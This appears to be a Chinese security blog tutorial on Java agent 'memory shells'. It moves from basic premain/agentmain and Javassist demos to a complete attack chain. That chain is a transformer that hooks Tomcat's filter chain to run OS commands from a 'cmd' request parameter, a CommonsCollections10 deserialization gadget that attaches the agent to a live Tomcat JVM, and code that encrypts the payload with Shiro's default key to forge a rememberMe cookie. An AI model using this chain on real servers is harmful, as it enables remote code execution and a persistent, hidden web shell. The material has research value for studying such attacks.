一、Java agent
java agent 是 Java 程序,可以通过在 Java 虚拟机(JVM)启动时提供参数来加载和运行。它可以通过 java.lang.instrument 包提供的 Java 标准接口进行代码插桩,从而在 Java 应用程序的类加载和运行期间改变 Java 字节码。而java agent内存马就是利用这个特性产生。
1、加载Agen有两种实现方式:
实现premain方法(JVM启动前加载)
实现agentmain方法(JVM启动后加载)
Java Agent 只是一个 Java 类而已,只不过普通的 Java 类是以 main 函数作为入口点的,Java Agent 的入口点则是 premain 和 agentmain
2、实现premain方法(JVM启动前加载)
进行一个简单的demo
1、创建一个DemoTest,用这个类实现premain
import java.lang.instrument.Instrumentation;
public class DemoTest {
public static void premain(String agentArgs, Instrumentation inst) throws Exception{
System.out.println(agentArgs);
for(int i=0;i<5;i++){
System.out.println("flynAAAA");
}
}
}
2.定义一个清单文件DemoTest.Mf(记得多一个换行)
Manifest-Version: 1.0
Premain-Class: DemoTest
3.接下来使用javac对DemoTest进行编译
javac DemoTest.java
4.使用jar进行打包
jar cvfm agent.jar DemoTest.mf DemoTest.class
5.创建一个普通的类
public class Hello {
public static void main(String[] args) {
System.out.println("hi,world");
}
}
6.同样创建一个hello.mf的清单
Manifest-Version: 1.0
Main-Class: Hello
7、使用jar进行打包
jar cvfm Hello.jar Hello.mf Hello.class
8、输入
java -javaagent:agent.jar=args -jar hello.jar
可以看到premain方法是在main方法之前执行的,这里的args就是agent的启动参数。
3、加载agentmain方法
在实现agentmain之前有必要介绍一下几个组件:
1、Instrumentation API:
Instrumentation API 是一个 Java 类库,提供了一组用于在 Java 应用程序运行时进行字节码操作的接口。
它包括如下接口:
ClassDefinition:表示要定义的类的字节码。
ClassFileTransformer:提供了将输入的字节码转换为输出字节码的方法。
Instrumentation:提供了大多数代理功能的主接口。
UnmodifiableClassException:表示尝试修改不能修改的类时抛出的异常。
它还提供了一些其他的类和接口,如 Modifier 和 ClassFileTransformer。
通常,使用 Instrumentation API 可以在不重新启动应用程序的情况下修改类的字节码,并在运行时监控和测量应用程序的性能。它还可以用于创建 Java Agent,这是一种在 Java 程序启动时通过命令行参数指定的程序,可以替代或修改类的字节码。
2、VirtualMachine
VirtualMachine是Java提供的一种用于动态加载Java类的机制,是Java虚拟机的一部分,可以通过它在运行时加载和执行Java类。VirtualMachine接口定义了一些用于在虚拟机内部操作的方法,包括加载类、执行方法、获取类信息和设置虚拟机属性等。
VirtualMachine常用的接口有:
attach(String id):连接到具有指定ID的Java虚拟机。
detach():从Java虚拟机断开连接。
loadAgent(String agent):将指定的Java Agent加载到Java虚拟机中。
loadAgentLibrary(String agentLibrary):将指定的库加载到Java虚拟机中。
loadAgentPath(String agentPath):将指定的路径加载到Java虚拟机中。
getSystemProperties():获取Java虚拟机的系统属性。
getAgentProperties():获取Java Agent的属性。
getClassPath():获取Java虚拟机的类路径。
getJvmArgs():获取Java虚拟机的JVM参数。
getInputArguments():获取Java虚拟机的输入参数。
getAllThreads():获取Java虚拟机中所有线程的信息。
getCapabilities():获取Java虚拟机的能力
通过一个简单的demo来认识一下:
(1)先定义一个Agent类
import java.lang.instrument.Instrumentation;
public class AgentMain {
public static void agentmain(String agentArgs, Instrumentation ins) {
ins.addTransformer(new DefineTransformer(),true);
}
}
(2)实现具体的Transformer方法
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;
import java.util.Scanner;
public class DefineTransformer implements ClassFileTransformer {
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
Scanner sc = new Scanner(System.in);
System.out.println("Injected Class AgentMainDemo Successfully !");
System.out.print("> ");
try {
InputStream is = Runtime.getRuntime().exec(sc.next()).getInputStream();
BufferedReader br = new BufferedReader(new InputStreamReader(is));
String line;
StringBuilder sb = new StringBuilder();
while ((line = br.readLine()) != null)
{
sb.append(line).append("\n");
}
System.out.println(sb);
} catch (IOException e) {
e.printStackTrace();
}
return classfileBuffer;
}
}
(3)创建清单文件
Manifest-Version: 1.0
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Agent-Class: AgentMain
(4)同样进行编译,打包。

(5)最后来个trigger,这里有个坑,Windows不会自己去加载VirtualMachine,需要手动将JDK目录/lib/tools.jar手动加载到项目资源中.

最后创建项目:
package flynAAAA;
import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;
import java.util.List;
public class maindemo {
public static void main(String[] args) throws Exception{
// 生成jar包的绝对路径
String path = "D:\\1\\AgentMain.jar";
// 列出已加载的jvm
List<VirtualMachineDescriptor> list = VirtualMachine.list();
// 遍历已加载的jvm
for (VirtualMachineDescriptor v:list){
// 打印jvm的 displayName 属性
System.out.println("+++++++++++++++++++++++++");
System.out.println(v.displayName());
System.out.println("+++++++++++++++++++++++++");
// 如果 displayName 为指定的类
if (v.displayName().contains("maindemo")){
// 打印pid
System.out.println("id >>> " + v.id());
// 将 jvm 虚拟机的 pid 号传入 attach 来进行远程连接
VirtualMachine vm = VirtualMachine.attach(v.id());
// 将我们的 agent.jar 发送给虚拟机
vm.loadAgent(path);
// 解除链接
vm.detach();
}
}
}
}
成功将agent注入到了AgentMainDemo类中结果如图:

3、javassist
Javassist是一个Java库,用于在运行时操作字节码。 它提供了一种简单的方法来创建新类,修改现有类和动态加载类。 Javassist还提供了用于分析和修改Java字节码的API,以及用于在运行时修改Java类的能力。 Javassist使用类似于Java的语法来操作字节码,使得它很容易学习和使用。
ClassPool:
ClassPool是Javassist的类池,主要用于管理和操作字节码,可以加载.class文件或者是CtClass对象并进行转换。
常用方法:
getDefault(): 获取默认的ClassPool对象。
insertClassPath(ClassPath cp): 插入类源路径。
get(String className): 通过类名获取CtClass对象。
makeClass(String className): 创建新的CtClass对象。
makeInterface(String className): 创建新的接口CtClass对象。
makeAnnotation(String className): 创建新的注解CtClass对象。
写一个简单的demo体验一下:
package javassit;
import javassist.*;
public class javassit
{
public static void main(String[] args) throws Exception
{
// 获取ClassPool对象
ClassPool pool = new ClassPool(true);
// 插入类源路径
pool.insertClassPath(new LoaderClassPath(javassit.class.getClassLoader()));
// 新增Class
CtClass ctClass = pool.makeClass("ssist.Test");
// 新增Interface
ctClass.addInterface(pool.get(Test.class.getName()));
// 要添加的方法的返回值类型
CtClass type = pool.get(void.class.getName());
// 方法名称
String name = "SayHello";
// 方法参数
CtClass[] parameters = new CtClass[]{pool.get(String.class.getName())};
// 方法体,$1是方法的第一个参数
String body = "{" +
"System.out.println(\"Hello \" + $1);" +
"}";
// 实现方法
CtMethod ctMethod = new CtMethod(type, name, parameters, ctClass);
// 设置方法体
ctMethod.setBody(body);
//添加方法
ctClass.addMethod(ctMethod);
//调用
Test o = (Test) ctClass.toClass().newInstance();
o.SayHello("FlynAAAAA");
}
// 添加Test接口以便于Class的获取等一系列操作
public interface Test
{
public void SayHello(String str);
}
}

4、了解前面这些模块功能之后,体验用反序列话注入内存马
这里主要用到:
org.apache.catalina.core.ApplicationFilterChain#doFilter,
其根本原因就是该方法有ServletRequest和ServletResponse两个参数,里面封装了请求的request和response。另外,internalDoFilter方法是自定义filter的入口,如果在这里拦截,那么filter既通用,又不影响正常业务。
首先创建一个 AgentMain.jar文件(推荐使用mvn进行打包,教程如下:)
import java.lang.instrument.Instrumentation;
public class AgentMain {
public AgentMain() {
}
public static void agentmain(String var0, Instrumentation var1) {
var1.addTransformer(new DefineTransformer(), true);
}
}
重写transform
package Transformer;
import javassist.*;
import java.io.IOException;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;
public class MyTransformer implements ClassFileTransformer {
public static String ClassName = "org.apache.catalina.core.ApplicationFilterChain";
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> aClass, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
className = className.replace('/', '.');
if (className.equals(ClassName)) {
ClassPool cp = ClassPool.getDefault();
if (aClass != null) {
ClassClassPath classPath = new ClassClassPath(aClass);
cp.insertClassPath(classPath);
}
CtClass cc;
try {
cc = cp.get(className);
CtMethod m = cc.getDeclaredMethod("doFilter");
m.insertBefore(" javax.servlet.ServletRequest req = request;\n" +
" javax.servlet.ServletResponse res = response\n;" +
"String cmd = req.getParameter(\"cmd\");\n" +
"if (cmd != null) {\n" +
"Process process = Runtime.getRuntime().exec(cmd);\n" +
"java.io.BufferedReader bufferedReader = new java.io.BufferedReader(\n" +
"new java.io.InputStreamReader(process.getInputStream()));\n" +
"StringBuilder stringBuilder = new StringBuilder();\n" +
"String line;\n" +
"while ((line = bufferedReader.readLine()) != null) {\n" +
"stringBuilder.append(line + '\\n');\n" +
"}\n" +
"res.getOutputStream().write(stringBuilder.toString().getBytes());\n" +
"res.getOutputStream().flush();\n" +
"res.getOutputStream().close();\n" +
"}");
byte[] byteCode = cc.toBytecode();
cc.detach();
return byteCode;
} catch (NotFoundException | IOException | CannotCompileException e) {
e.printStackTrace();
}
}
return new byte[0];
}
}
pom.xml文件如下:
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.4ny0ne</groupId>
<artifactId>agentdemo</artifactId>
<version>1.0</version>
<packaging>jar</packaging>
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
</properties>
<dependencies>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.26.0-GA</version>
</dependency>
<dependency>
<groupId>org.ow2.asm</groupId>
<artifactId>asm-commons</artifactId>
<version>9.0</version>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<!-- maven-shade-plugin插件可以在打包的时候将所有依赖包一并导入jar中 !-->
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-shade-plugin</artifactId>
<version>2.3</version>
<executions>
<execution>
<phase>package</phase>
<goals>
<goal>shade</goal>
</goals>
<configuration>
<!-- 这里面的东西主要是配置MANIFEST.MF文件,打包的时候会自动生成MANIFEST.MF,我们需要在这里做好配置 !-->
<transformers>
<transformer
implementation="org.apache.maven.plugins.shade.resource.ManifestResourceTransformer">
<mainClass>util.Microseer</mainClass>
<manifestEntries>
<Class-Path>true</Class-Path>
<Agent-Class>
<!-- 同理,指明了agentmain方法所在类 !-->
agent.MyAgent
</Agent-Class>
<Can-Retransform-Classes>true</Can-Retransform-Classes>
<Can-Redefine-Classes>true</Can-Redefine-Classes>
</manifestEntries>
</transformer>
</transformers>
</configuration>
</execution>
</executions>
</plugin>
</plugins>
</build>
</project>
这里的反序列环境用Shiro(P神的环境),链子用Y4er师傅改造的CC10(依赖于ysoserial项目环境)。
package ysoserial.payloads;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.util.Reflections;
import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.io.*;
import java.lang.reflect.Field;
import java.security.InvalidKeyException;
import java.security.NoSuchAlgorithmException;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
// 依赖 commons-collections:commons-collections:3.2.1
// 依赖于 ysoserial javassist
public class CommonsCollections10 {
// 设置系统属性
static {
System.setProperty("jdk.xml.enableTemplatesImplDeserialization", "true");
System.setProperty("java.rmi.server.useCodebaseOnly", "false");
}
public static Object createTemplatesImpl(String command) throws Exception {
// 判断系统变量 properXalan 是否存在
return Boolean.parseBoolean(System.getProperty("properXalan", "false")) ? createTemplatesImpl(command, Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")) : createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}
public static <T> T createTemplatesImpl(String agentPath, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory) throws Exception {
// 获取TemplatesImpl类
T templates = tplClass.newInstance();
// Javassist插桩
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
CtClass clazz = pool.get(StubTransletPayload.class.getName());
// 注入Agent
String cmd = String.format(
" try {\n" +
"java.io.File toolsJar = new java.io.File(System.getProperty(\"java.home\").replaceFirst(\"jre\", \"lib\") + java.io.File.separator + \"tools.jar\");\n" +
"java.net.URLClassLoader classLoader = (java.net.URLClassLoader) java.lang.ClassLoader.getSystemClassLoader();\n" +
"java.lang.reflect.Method add = java.net.URLClassLoader.class.getDeclaredMethod(\"addURL\", new java.lang.Class[]{java.net.URL.class});\n" +
"add.setAccessible(true);\n" +
" add.invoke(classLoader, new Object[]{toolsJar.toURI().toURL()});\n" +
"Class/*<?>*/ MyVirtualMachine = classLoader.loadClass(\"com.sun.tools.attach.VirtualMachine\");\n" +
" Class/*<?>*/ MyVirtualMachineDescriptor = classLoader.loadClass(\"com.sun.tools.attach.VirtualMachineDescriptor\");" +
"java.lang.reflect.Method list = MyVirtualMachine.getDeclaredMethod(\"list\", null);\n" +
" java.util.List/*<Object>*/ invoke = (java.util.List/*<Object>*/) list.invoke(null, null);" +
"for (int i = 0; i < invoke.size(); i++) {" +
"Object o = invoke.get(i);\n" +
" java.lang.reflect.Method displayName = o.getClass().getSuperclass().getDeclaredMethod(\"displayName\", null);\n" +
" Object name = displayName.invoke(o, null);\n" +
"if (name.toString().contains(\"org.apache.catalina.startup.Bootstrap\")) {" +
" java.lang.reflect.Method attach = MyVirtualMachine.getDeclaredMethod(\"attach\", new Class[]{MyVirtualMachineDescriptor});\n" +
" Object machine = attach.invoke(MyVirtualMachine, new Object[]{o});\n" +
" java.lang.reflect.Method loadAgent = machine.getClass().getSuperclass().getSuperclass().getDeclaredMethod(\"loadAgent\", new Class[]{String.class});\n" +
" loadAgent.invoke(machine, new Object[]{\"%s\"});\n" +
" java.lang.reflect.Method detach = MyVirtualMachine.getDeclaredMethod(\"detach\", null);\n" +
" detach.invoke(machine, null);\n" +
" break;\n" +
"}" +
"}" +
"} catch (Exception e) {\n" +
" e.printStackTrace();\n" +
" }"
, agentPath.replaceAll("\\\\", "\\\\\\\\").replaceAll("\"", "\\\""));
// 在makeclass时插入我们的代码
clazz.makeClassInitializer().insertAfter(cmd);
// 重命名时间
clazz.setName("ysoserial.Pwner" + System.nanoTime());
// 获取准备继承的类class
CtClass superC = pool.get(abstTranslet.getName());
// 继承
clazz.setSuperclass(superC);
// 转字节码
byte[] classBytes = clazz.toBytecode();
// TemplatesImpl的常规操作, 反射定义恶意字节码
Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{classBytes, classAsBytes(Foo.class)});
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
}
public static String classAsFile(Class<?> clazz) {
return classAsFile(clazz, true);
}
public static String classAsFile(Class<?> clazz, boolean suffix) {
String str;
if (clazz.getEnclosingClass() == null) {
str = clazz.getName().replace(".", "/");
} else {
str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName();
}
if (suffix) {
str = str + ".class";
}
return str;
}
// class转byte[]
public static byte[] classAsBytes(Class<?> clazz) {
try {
byte[] buffer = new byte[1024];
String file = classAsFile(clazz);
InputStream in = CommonsBeanutils1.class.getClassLoader().getResourceAsStream(file);
if (in == null) {
throw new IOException("couldn't find '" + file + "'");
} else {
ByteArrayOutputStream out = new ByteArrayOutputStream();
int len;
while ((len = in.read(buffer)) != -1) {
out.write(buffer, 0, len);
}
return out.toByteArray();
}
} catch (IOException var6) {
throw new RuntimeException(var6);
}
}
public static void main(String[] args) throws Exception {
// Agent路径
String command = "D:\\1\\agentdemo.jar";
// 下面的操作就是cc10
Object templates = createTemplatesImpl(command);
InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformer);
TiedMapEntry entry = new TiedMapEntry(lazyMap, templates);
HashSet map = new HashSet(1);
map.add("foo");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException var17) {
f = HashSet.class.getDeclaredField("backingMap");
}
Reflections.setAccessible(f);
HashMap innimpl = null;
innimpl = (HashMap) f.get(map);
Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException var16) {
f2 = HashMap.class.getDeclaredField("elementData");
}
Reflections.setAccessible(f2);
Object[] array = new Object[0];
array = (Object[]) ((Object[]) f2.get(innimpl));
Object node = array[0];
if (node == null) {
node = array[1];
}
Field keyField = null;
try {
keyField = node.getClass().getDeclaredField("key");
} catch (Exception var15) {
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
Reflections.setAccessible(keyField);
keyField.set(node, entry);
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
// 序列化payload
byte[] bytes = Serializables.serializeToBytes(map);
String key = "kPH+bIxk5D2deZiIxcaaaA==";
// AES加密
String rememberMe = EncryptUtil.shiroEncrypt(key, bytes);
System.out.println(rememberMe);
}
// 定义版本ID
public static class Foo implements Serializable {
private static final long serialVersionUID = 8207363842866235160L;
public Foo() {
}
}
public static class StubTransletPayload extends AbstractTranslet implements Serializable {
private static final long serialVersionUID = -5971610431559700674L;
public StubTransletPayload() {
}
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
}
// 序列化
class Serializables {
public static byte[] serializeToBytes(final Object obj) throws Exception {
final ByteArrayOutputStream out = new ByteArrayOutputStream();
final ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(obj);
objOut.flush();
objOut.close();
return out.toByteArray();
}
public static Object deserializeFromBytes(final byte[] serialized) throws Exception {
final ByteArrayInputStream in = new ByteArrayInputStream(serialized);
final ObjectInputStream objIn = new ObjectInputStream(in);
return objIn.readObject();
}
public static void serializeToFile(String path, Object obj) throws Exception {
FileOutputStream fos = new FileOutputStream("object");
ObjectOutputStream os = new ObjectOutputStream(fos);
//writeObject()方法将obj对象写入object文件
os.writeObject(obj);
os.close();
}
public static Object serializeFromFile(String path) throws Exception {
FileInputStream fis = new FileInputStream(path);
ObjectInputStream ois = new ObjectInputStream(fis);
// 通过Object的readObject()恢复对象
Object obj = ois.readObject();
ois.close();
return obj;
}
}
// AES加密
class EncryptUtil {
private static final String ENCRY_ALGORITHM = "AES";
private static final String CIPHER_MODE = "AES/CBC/PKCS5Padding";
private static final byte[] IV = "aaaaaaaaaaaaaaaa".getBytes(); // 16字节IV
public EncryptUtil() {
}
public static byte[] encrypt(byte[] clearTextBytes, byte[] pwdBytes) {
try {
SecretKeySpec keySpec = new SecretKeySpec(pwdBytes, ENCRY_ALGORITHM);
Cipher cipher = Cipher.getInstance(CIPHER_MODE);
IvParameterSpec iv = new IvParameterSpec(IV);
cipher.init(1, keySpec, iv);
byte[] cipherTextBytes = cipher.doFinal(clearTextBytes);
return cipherTextBytes;
} catch (NoSuchPaddingException var6) {
var6.printStackTrace();
} catch (NoSuchAlgorithmException var7) {
var7.printStackTrace();
} catch (BadPaddingException var8) {
var8.printStackTrace();
} catch (IllegalBlockSizeException var9) {
var9.printStackTrace();
} catch (InvalidKeyException var10) {
var10.printStackTrace();
} catch (Exception var11) {
var11.printStackTrace();
}
return null;
}
public static String shiroEncrypt(String key, byte[] objectBytes) {
byte[] pwd = Base64.decode(key);
byte[] cipher = encrypt(objectBytes, pwd);
assert cipher != null;
byte[] output = new byte[pwd.length + cipher.length];
byte[] iv = IV;
System.arraycopy(iv, 0, output, 0, iv.length);
System.arraycopy(cipher, 0, output, pwd.length, cipher.length);
return Base64.encode(output);
}
}
用CC10得到rememberme:



参考链接:
https://mp.weixin.qq.com/s/IFQJLijjfk8er7yzaNkb_A
师傅的公众号“安全日记”,欢迎关注!!!!!!!

2525





